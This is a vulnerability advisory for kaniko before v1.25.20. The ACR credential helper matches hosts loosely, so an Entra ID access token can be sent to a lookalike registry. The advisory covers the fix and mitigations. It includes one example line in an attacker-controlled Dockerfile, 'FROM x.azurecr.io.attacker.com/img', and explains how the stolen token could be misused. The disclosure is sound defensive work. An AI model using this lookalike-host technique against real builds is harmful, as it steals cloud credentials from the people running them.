| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/chainguard-dev/kaniko | < 1.25.20 | 1.25.20 |
kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instruction and never has to push.
The flaw is in the Azure Container Registry (ACR) credential helper, github.com/chrismellard/docker-credential-acr-env. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone docker-credential-acr-env binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains .azurecr.io (or .azurecr.cn, .azurecr.de, .azurecr.us) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as GO-2026-6225.
You are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don't fully control, in an environment where the helper can get an Azure identity:
AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID)AZURE_FEDERATED_TOKEN or AZURE_FEDERATED_TOKEN_FILE, with AZURE_CLIENT_ID and AZURE_TENANT_ID), as injected by AKS workload identityMSI_ENDPOINTYou do not need to use ACR, or configure the helper, to be affected. kaniko consults the built-in helper for any registry that has no credentials in your Docker config and is not a Google or Amazon ECR registry, and every lookalike host falls in that set. That covers base images in FROM lines and images in COPY --from=<image>. kaniko asks for credentials before it contacts the registry, so the attacker's registry doesn't need to request authentication.
If your Docker config.json sets "credsStore": "acr-env", the standalone binary is consulted for every registry as well. Before v1.25.20 this setting broke pulls from non-ACR registries, so it is uncommon.
The helper puts the token in both the Authorization: Bearer header and the access_token form field of a POST to https://<host>/oauth2/exchange, so the attacker receives a live access token for Azure Resource Manager. Until it expires, the attacker can use it against Azure Resource Manager with the identity's role assignments. They can also exchange it, as the helper does, at the /oauth2/exchange endpoint of any real ACR registry the identity can access, and so obtain registry credentials. If the identity has AcrPush or higher, the attacker can push images to your registries.
Fixed in v1.25.20 by #495. kaniko now carries a patched copy of the helper under third_party/docker-credential-acr-env, which the executor, the warmer and the docker-credential-acr-env binary built by deploy/Dockerfile all use. The patched helper accepts a host only if it is exactly host[:port] and the hostname is mcr.microsoft.com or a well-formed name ending in .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us. For any other host it reports "credentials not found" without requesting a token.
This repository publishes no binaries or images. Rebuild the executor, the warmer and docker-credential-acr-env from v1.25.20 or later. If you import kaniko as a Go module, update github.com/chainguard-dev/kaniko to v1.25.20 or later.
From v1.25.20, kaniko no longer depends on github.com/chrismellard/docker-credential-acr-env, so scanners stop reporting GO-2026-6225 for it.
If you can't upgrade, don't let untrusted builds reach an Azure identity:
MSI_ENDPOINT and MSI_SECRET from the build environment, and block access to the Instance Metadata Service (169.254.169.254) from build pods.AZURE_ENVIRONMENT to a value that names no Azure cloud, such as AZURE_ENVIRONMENT=none, in the kaniko container. The helper then fails before requesting any token, and kaniko no longer authenticates to ACR through it.Also, if you set "credsStore": "acr-env", replace it with per-host credHelpers entries for your own ACR registries. On its own this closes only the standalone-binary path.
If you have built untrusted Dockerfiles with an Azure identity available, treat any access token issued to that identity during those builds as compromised. A leaked token stays valid until it expires, and rotating the identity's credentials does not revoke it. Review the identity's Entra ID sign-in logs and Azure activity logs for that period, especially for ACR pushes, role-assignment changes and key or secret listings, and rotate any secrets the identity could read through Azure Resource Manager, such as storage account keys.
Reported by Martin Zihlmann (@mzihlmann) of osscontainertools.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free